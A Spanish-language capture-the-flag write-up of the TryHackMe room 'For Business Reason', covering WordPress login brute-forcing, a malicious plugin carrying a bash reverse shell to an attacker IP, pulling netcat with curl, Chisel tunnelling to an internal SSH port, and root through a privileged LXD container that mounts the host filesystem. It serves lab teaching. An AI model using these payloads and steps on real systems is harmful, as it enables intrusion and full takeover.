Contents

TryHackMe - For Business Reason

TryHackMe - For Business Reason

For Business Reason es una maquina de TryHackMe, realizamos un ataque de contraseñas al login de WordPress para luego instalar un Plugin y obtener una shell. Nos encontramos en un contenedor de Docker donde realizamos un escaneo de la red para luego ejecutar un Tunnel con Chisel y obtener el puerto SSH que nos permitio ingresar reutilizando credenciales. Finalmente escalamos privilegios creando un nuevo contenedor con LXC.

Room

DescripcionIn your network scan, you found an unknown VM....
Puntos190
DificultadDIFICIL
MakerMsMouse

Recon

nmap

Escaneo de puertos tcp, nmap nos muestra el puerto http (80) abierto, desconocido (7946) y el puerto ssh (22) aparentemente cerrado.

bash
 1# Nmap 7.80 scan initiated Sat Sep 19 21:19:12 2020 as: nmap -p- --min-rate 1000 -o allports bussines.thm
 2Nmap scan report for bussines.thm (10.10.85.176)
 3Host is up (0.36s latency).
 4Not shown: 65532 filtered ports
 5PORT     STATE  SERVICE
 622/tcp   closed ssh
 780/tcp   open   http
 87946/tcp closed unknown
 9
10# Nmap done at Sat Sep 19 21:21:24 2020 -- 1 IP address (1 host up) scanned in 132.07 seconds
11
12# Nmap 7.80 scan initiated Sat Sep 19 21:21:51 2020 as: nmap -sV -sC -p 22,80,7946 -o servicesport bussines.thm
13Nmap scan report for bussines.thm (10.10.85.176)
14Host is up (0.29s latency).
15
16PORT     STATE  SERVICE VERSION
1722/tcp   closed ssh
1880/tcp   open   http    Apache httpd 2.4.38 ((Debian))
19|_http-generator: WordPress 5.4.2
20| http-robots.txt: 1 disallowed entry 
21|_/wp-admin/
22|_http-server-header: Apache/2.4.38 (Debian)
23|_http-title: MilkCo Test/POC site – Just another WordPress site
247946/tcp closed unknown
25
26Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
27# Nmap done at Sat Sep 19 21:22:13 2020 -- 1 IP address (1 host up) scanned in 21.70 seconds

Web Site

Encontramos una pagina web WordPress en el puerto 80.

image

Rustbuster

Utilizamos RUSTBUSTER para busqueda de directorios y archivos, en donde podemos observar varias direcciones las cuales se muestran diferentes a lo normal pero que son direcciones no disponibles.

bash
 1kali@kali:~/thm/bussiness$ /opt/rustbuster/rustbuster dir -u http://10.10.141.160 -w /usr/share/seclists/Discovery/Web-Content/big.txt -e php,html,txt
 2~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~
 3
 4         _     _                 _         _           _        _                 _         _           _           _     
 5        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
 6       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
 7      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
 8     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
 9    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
10   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
11  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
12 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
13/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
14\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   
15
16
17[?] Started at	: 2020-09-19 21:25:08
18
19GET	301 Moved Permanently		http://10.10.141.160/!
20						=> http://10.10.141.160/
21GET     301 Moved Permanently           http://10.10.141.160/0
22						=> http://10.10.141.160/0/
23GET     301 Moved Permanently           http://10.10.141.160/0000
24						=> http://10.10.141.160/0000/
25GET     301 Moved Permanently           http://10.10.141.160/2020
26						=> http://10.10.141.160/2020/
27GET     301 Moved Permanently           http://10.10.141.160/asdfjkl;
28						=> http://10.10.141.160/asdfjkl
29GET     301 Moved Permanently           http://10.10.141.160/atom
30						=> http://10.10.141.160/feed/atom/
31GET     301 Moved Permanently           http://10.10.141.160/embed
32						=> http://10.10.141.160/embed/
33GET     302 Found                       http://10.10.141.160/favicon.ico
34						=> http:/wp-includes/images/w-logo-blue-white-bg.png
35GET     301 Moved Permanently           http://10.10.141.160/feed
36						=> http://10.10.141.160/feed/
37GET     301 Moved Permanently           http://10.10.141.160/fixed!
38						=> http://10.10.141.160/fixed
39GET     200 OK                          http://10.10.141.160/images
40GET     301 Moved Permanently           http://10.10.141.160/index.php
41						=> http://10.10.141.160/
42GET     200 OK                          http://10.10.141.160/license.txt
43GET     403 Forbidden                   http://10.10.141.160/lost%2Bfound
44GET     403 Forbidden                   http://10.10.141.160/lost+found
45GET     301 Moved Permanently           http://10.10.141.160/mysql
46						=> http://10.10.141.160/mysql/
47GET     200 OK                          http://10.10.141.160/note.txt
48GET     301 Moved Permanently           http://10.10.141.160/page1
49						=> http://10.10.141.160/
50GET     301 Moved Permanently           http://10.10.141.160/rdf
51						=> http://10.10.141.160/feed/rdf/
52GET     200 OK                          http://10.10.141.160/readme.html
53GET     200 OK                          http://10.10.141.160/robots.txt
54GET     200 OK                          http://10.10.141.160/robots.txt
55GET     301 Moved Permanently           http://10.10.141.160/rss
56						=> http://10.10.141.160/feed/
57GET     301 Moved Permanently           http://10.10.141.160/rss2
58						=> http://10.10.141.160/feed/
59GET     301 Moved Permanently           http://10.10.141.160/sample-page
60						=> http://10.10.141.160/sample-page/
61GET     403 Forbidden                   http://10.10.141.160/server-status
62GET     301 Moved Permanently           http://10.10.141.160/wp-admin
63						=> http://10.10.141.160/wp-admin/
64GET     200 OK                          http://10.10.141.160/wp-config.php
65GET     301 Moved Permanently           http://10.10.141.160/wp-content
66						=> http://10.10.141.160/wp-content/
67GET     301 Moved Permanently           http://10.10.141.160/wp-feed.php
68						=> http:/feed/
69GET     301 Moved Permanently           http://10.10.141.160/wp-includes
70						=> http://10.10.141.160/wp-includes/
71GET     200 OK                          http://10.10.141.160/wp-login.php
72GET     301 Moved Permanently           http://10.10.141.160/wp-register.php
73						=> http:/wp-login.php?action=register
74GET     301 Moved Permanently           http://10.10.141.160/wp-rss2.php
75						=> http:/feed/
76GET     405 Method Not Allowed          http://10.10.141.160/xmlrpc.php

Encontramos en el archivo robots.txt la direccion del panel de wordpress, tambien vemos una nota donde hablan sobre wordpress en un contenedor de docker.

bash
1  User-agent: *
2  Disallow: /wp-admin/
3  Allow: /wp-admin/admin-ajax.php
bash
 1  from ticket 2915
 2  cio wants to save money- asked us to move the wordpress site off the hosted.  I setup the same versions in the docker container with teh startup script. POC complete will wait on cio's office to test and see if acceptable
 3  -BWJ
 4
 5  Ticket 3313
 6  software audit found this version downlevel, added script to make sure its latest
 7  -RLB
 8
 9  Ticket 3622
10  Quarterly password change completed
11  -BWJ
12
13  Ticket 4119
14  Quarterly password change completed
15  -BWJ
16
17  Ticket 4322
18  Auto update broke site, got a page.  Disabled updates for now. emailed Rick Bligh to warn him.  Emailed Bill Johnson to ask him to follow up with CIO's office and get this tested.  Going back to bed. 
19  -RLP
20
21  Ticket 4325
22  Updates fixed, reeneabled. RLB isn't here anymore.  Talk to the CIO not me. 
23  -BWJ

WPScan

Utilizamos wpscan para busqueda de vulnerabilidades y usuarios en la pagina de wordpress en donde encontramos un usuario: sysadmin y la version de wordpress. Con el usuario ejecutamos un ataque de fuerza bruta junto al wordlist rockyou.

bash
 1[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
 2 | Found By: Emoji Settings (Passive Detection)
 3 |  - http://bussines.thm/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
 4 | Confirmed By: Meta Generator (Passive Detection)
 5 |  - http://bussines.thm/, Match: 'WordPress 5.4.2'
 6
 7[i] The main theme could not be detected.
 8
 9[+] Enumerating Users (via Passive and Aggressive Methods)
10 Brute Forcing Author IDs - Time: 00:00:01 <===============================================================================================================> (10 / 10) 100.00% Time: 00:00:01
11
12[i] User(s) Identified:
13
14[+] sysadmin
15 | Found By: Wp Json Api (Aggressive Detection)
16 |  - http://bussines.thm/wp-json/wp/v2/users/?per_page=100&page=1
17 | Confirmed By:
18 |  Rss Generator (Aggressive Detection)
19 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
20 |  Login Error Messages (Aggressive Detection)

image

User - www-data

Utilizamos las credenciales que encontramos en wpscan para ingresar a wordpress, en donde vemos que el usuario sysadmin es administrador. Para obtener una shell creamos un “plugin” el cual se ejecuta cuando este es activado o desactivado en el panel de Plugins. Para la creacion de nuestro plugin utilizamos el siguiente archivo php el cual comprimimos con zip.

Usuario Administrador

image

shell.php php
 1<?php
 2
 3/**
 4* Plugin Name: Reverse Shell Plugin
 5* Plugin URI:
 6* Description: Reverse Shell Plugin
 7* Version: 1.0
 8* Author: Vince Matteo
 9* Author URI: http://www.sevenlayers.com
10*/
11
12exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/8080 0>&1'");
13?>
bash
1zip super-duper-plugin.zip shell.php

Una vez creado nuestro archivo zip ponemos a la escucha netcat en el puerto indicado en nuestra shell e instalamos el plugin en el panel de plugins. Luego de activar el plugin logramos obtener una shell con usuario www-data y nuestra flag flag0.txt.

Instalacion de Plugin

image

image

image

Docker & Chisel

En la maquina no logramos encontrar algun tipo de binario, archivo, cron o usuario que nos ayude a escalar privilegios ya que el lugar donde nos encontramos es un contenedor de docker. Lo mencionaron en el archivo notes.txt, para comprobar esto es posible ver el directorio / donde comunmente se encuentra el archivo .dockerenv, además de ello en la carpeta de wordpress (/var/www/html) encontramos un archivo de docker que contiene la configuracion para que wordpress se ejecute en un contenedor, tambien encontramos que muchos de los comandos que comunmente se encuentran en una maquina en linux no existen.

Docker

image

image

Con todo esto lo unico que nos queda es analizar las IPs de alguna otra maquina, pero recordemos, la maquina tiene el puerto ssh (22) ¿cerrado?. Utilizando curl descargamos netcat para poder realizar un escaneo de puertos a nuestra IP e IPs.

bash
1#Local Machine
2python3 -m http.server 80
3
4#Bussines Machine as WWW-DATA
5curl 10.10.10.10/nc -o nc

Ejecutamos hostname -I para conocer nuestra IP ya que net-tools no esta instalado en el contenedor, realizamos un escaneo de puertos y un test de conexion al puerto 22 con la IP o IPs encontradas con los siguientes comandos:

bash
 1#IP address
 2www-data@803690c13932:/tmp/tmp$ hostname -I
 3hostname -I
 410.255.0.4 172.18.0.4 10.0.0.5
 5
 6#port 22 - scan
 7www-data@803690c13932:/tmp/tmp$ for i in {1..25}; do ./nc -v -n -z -w 1 172.18.0.$i 22; done
 8<{1..25}; do ./nc -v -n -z -w 1 172.18.0.$i 22; done
 9(UNKNOWN) [172.18.0.1] 22 (?) open
10(UNKNOWN) [172.18.0.2] 22 (?) : Connection timed out
11(UNKNOWN) [172.18.0.3] 22 (?) : Connection timed out
12(UNKNOWN) [172.18.0.4] 22 (?) : Connection refused
13[... REDACTED ...]
14
15#Test - port 22
16www-data@803690c13932:/tmp/tmp$ ./nc 172.18.0.1 22
17./nc 172.18.0.1 22
18SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.1
19
20Protocol mismatch.

Vemos que el puerto 22 esta a la escucha, pero al parecer solo esta localmente (127.0.0.1:22). Para poder realizar una enumeracion a este puerto es necesario exponerlo o traerlo localmente a nuestra maquina, para ello utilizamos Chisel, 0xdf explica un poco acerca de esta herramienta. Basicamente lo que vamos a realizar es, obtener el puerto 22 de la maquina bussines.thm a un puerto local de nuestra maquina con los siguientes comandos:

bash
1#Local - Kali
2#chisel server -p <PORT> --reverse
3kali@kali:~/thm/bussiness$ ./chisel server -p 8181 --reverse
42020/09/19 22:33:43 server: Reverse tunnelling enabled
52020/09/19 22:33:43 server: Fingerprint f6:e0:73:5b:cb:b3:0f:1f:da:8f:9b:93:81:af:7a:ab
62020/09/19 22:33:43 server: Listening on http://0.0.0.0:8181
72020/09/19 22:33:46 server: session#1: tun: proxy#R:2222=>172.18.0.1:22: Listening

Y en la maquina (bussines.thm) descargamos y tambien ejecutamos chisel:

bash
1#bussines.thm
2#chisel client <SERVER-IP>:<SERVER-PORT> R:<LOCAL-PORT-DEST>:<IP-TO-REVERSE>:<PORT-TO-REVERSE>
3www-data@803690c13932:/tmp/tmp$ ./chisel client 10.10.10.10:8181 R:2222:172.18.0.1:22
4<chisel client 10.2.29.162:8181 R:2222:172.18.0.1:22
52020/09/20 02:33:25 client: Connecting to ws://10.10.10.10:8181
62020/09/20 02:33:45 client: Fingerprint f6:e0:73:5b:cb:b3:0f:1f:da:8f:9b:93:81:af:7a:ab
72020/09/20 02:33:46 client: Connected (Latency 302.520711ms)

Ahora podemos verificar que el puerto 22 de la IP 172.18.0.1 este localmente en el puerto 2222 de nuestro localhost:

bash
1kali@kali:~/thm/bussiness$ netstat -ntpl
2Active Internet connections (only servers)
3Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
4tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      12764/python3       
5tcp6       0      0 :::2222                 :::*                    LISTEN      12882/./chisel      <<<-------
6tcp6       0      0 :::8181                 :::*                    LISTEN      12882/./chisel      
7kali@kali:~/thm/bussiness$

User - Sysadmin

Reutilizando las credenciales del usuario sysadmin ingresamos al servicio SSH de la maquina bussines.thm mediante el puerto local 2222. Logrando obtener una shell con este usuario y nuestra flag flag1.txt.

image

Privesc

Hacemos una pequeña enumeracion con id y vemos que el usuario pertenece al grupo de lxd.

bash
1sysadmin@ubuntu:~$ id
2uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),122(docker)

Ya que este usuario pertenece a este grupo (lxd) vamos a escalar privilegios a traves de este al igual que en la maquina de THM - GamingServer.

bash
 1#LOCAL
 2git clone  https://github.com/saghul/lxd-alpine-builder.git
 3cd lxd-alpine-builder
 4./build-alpine -a i686
 5
 6#BUSSINES.THM MACHINE
 7lxc image import ./alpine-v3.12-i686-20200831_2152.tar.gz --alias myimage
 8lxc image list
 9
10lxc init myimage sckull -c security.privileged=true
11lxc config device add sckull mydevice disk source=/ path=/mnt/root recursive=true
12lxc start sckull
13lxc exec sckull /bin/sh

Logramos obtener una shell con usuario root y nuestra ultima flag flag2.txt.

image

sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev TryHackMe - Jacob the Boss
Next HackTheBox - Admirer